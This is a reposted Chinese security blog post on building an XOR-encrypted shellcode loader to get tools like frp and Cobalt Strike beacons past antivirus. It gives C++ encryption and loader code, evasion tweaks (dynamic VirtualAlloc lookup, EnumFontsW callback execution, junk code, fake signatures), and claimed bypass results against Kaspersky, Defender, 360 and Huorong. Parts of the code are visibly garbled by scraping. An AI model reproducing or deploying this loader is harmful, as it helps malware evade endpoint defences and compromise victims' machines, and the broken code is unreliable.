xor-loader(bypass)

admin 2024年7月18日15:16:30评论43 views字数 2562阅读8分32秒阅读模式

xor-loader(bypass)

使用简单的 xor + 分离加载 shellcode 实现常用工具如 fscan、frp 等工具的快速免杀,也可以当作 cs 的 loader

改进 xor 过 shellcode 静态检测

常用的 xor 异或混淆采用逐字节与 key 进行异或,但是这种方式的加密对 shellcode 的混淆程度很低,无论设置怎样的 key 都很难 bypass 杀软

unsigned char xor_byte(unsigned char byte, unsigned char key) {return byte ^ key;}

以 frp 为例:

xor-loader(bypass)

xor-loader(bypass)

免杀效果一般,很容易就会被杀

以下对上面的 xor 代码进行以下改进,让待加密的数据每一位异或的 key 都不一样,发现静态查杀全绿

void xorencrypt(unsigned char* data, std::sizet size, const unsigned char* key, std::sizet keysize) {for (std::size_t i = 0; i < size; i++) {data[i] ^= key[i % key_size];}}

xor-loader(bypass)

xor-loader(bypass)

尝试裸的 cs4.9 的 beacon 马,可以看到也是全绿

xor-loader(bypass)

xor-loader(bypass)

pe2shellcode

使用 pe2shellcode 工具将需要转换的工具如 frp 转换为 shellcode,然后加载 shellcode 执行

转换工具 1-PengCode:https://github.com/Mephostophiles/PengCode

转换工具 2-pe2shc:https://github.com/hasherezade/petoshellcode(.NET 的 PE 文件不适用)

xor-loader(bypass)

先进性刚刚的 xor 异或,对转换后生成的 shellcode 进行一个静态免杀

xor-loader(bypass)

然后使用一个简单的 shellcodeloader 加载

#include <Windows.h>

#include <iostream>

#include <fstream>

#include <string>

#include <vector>

using namespace std;

void xor_decrypt(unsigned char* data, std::size_t size, const unsigned char* key, std::size_t key_size) {

for (std::size_t i = 0; i < size; i++) {

data[i] ^= key[i % key_size];

}

}

int main(int argc, char* argv[]) {

// 打开要读取的加密 shellcode 文件

string encryptFilePath = "C:\Users\admin\Desktop\ConsoleApplication1\x64\Release\frpc_xor.enc";

ifstream file(encryptFilePath, ios::binary);

if (!file) {

cerr << "打开要读取的加密 shellcode 文件失败" << endl;

}

}

// 2、读取加密 shellcode

file.seekg(0, ios::end);

size_t fileSize = file.tellg();

file.seekg(0, ios::beg);

vector

file.read(reinterpret_cast

file.close();

// 3、解密

const unsigned char key[] = "mykey123";

size_t keySize = sizeof(key) - 1; // 字符串数组末尾有个'0',所以长度要减 1

xor_decrypt(encryptData.data(), fileSize, key, keySize);

// 4、执行

unsigned char* shellcode = new unsigned char[fileSize + 1]; // 申请一块无符号字符地址空间

copy(encryptData.begin(), encryptData.end(), shellcode); // 将解密后的数据复制到 shellcode 指针变量中

void* addr = VirtualAlloc(nullptr, fileSize, MEMCOMMIT, PAGEEXECUTE_READWRITE);

memcpy(addr, shellcode, fileSize);

((void(*)())addr)();

delete[] shellcode;

return 0;

}


xor-loader(bypass)

可以正常执行,但是 loader 没做任何处理,毫无疑问,很容易被杀

xor-loader(bypass)

loader 改进 - 1

以上 loader 有两个容易被杀的点,一个是 VirtualAlloc,一个是执行方式 ((void(*)())addr)()

1、使用动态调用的方式动态加载 VirtualAlloc 函数

typedef LPVOID(WINAPI* MyVirtualAlloc)(LPVOID, SIZET, DWORD, DWORD);MyVirtualAlloc VirtualAlloc = (MyVirtualAlloc)GetProcAddress(GetModuleHandle(L"Kernel32.dll"), "VirtualAlloc");void* addr = VirtualAlloc(nullptr, fileSize, MEMCOMMIT, PAGEEXECUTE_READWRITE);

2、更换执行方式,如使用回调函数执行

EnumFontsW(GetDC(NULL), NULL, (FONTENUMPROCW)addr, NULL);

xor-loader(bypass)

loader 改进 - 2

添加图标资源

xor-loader(bypass)

多做几次计算和 if 判断再执行 shellcode,加入一些没有意义的代码例如:打印系统时间、数学矩阵运算、计算圆周率等等

xor-loader(bypass)

减少了一个

其他的就得针对这几个杀软研究如何 bypass 了,目前的话在国内做到这里完全够用了

不足

1、这只是个简单的 loader,没有做内存免杀,内存免杀得根据不同的工具和杀软进行针对性的测试

2、有的工具无法进行 pe 转 shellcode,还有待进一步解决

测试结果

卡巴斯基

xor-loader(bypass)

defender

xor-loader(bypass)

360

测试 360 得加上假的签名

xor-loader(bypass)

也可以直接当作 cs 的 loader

xor-loader(bypass)

完全 bypass 不涉及内存查杀的杀软

火绒

xor-loader(bypass)

 

原文始发于微信公众号(白帽子社区团队):xor-loader(bypass)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月18日15:16:30
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   xor-loader(bypass)https://cn-sec.com/archives/2966292.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息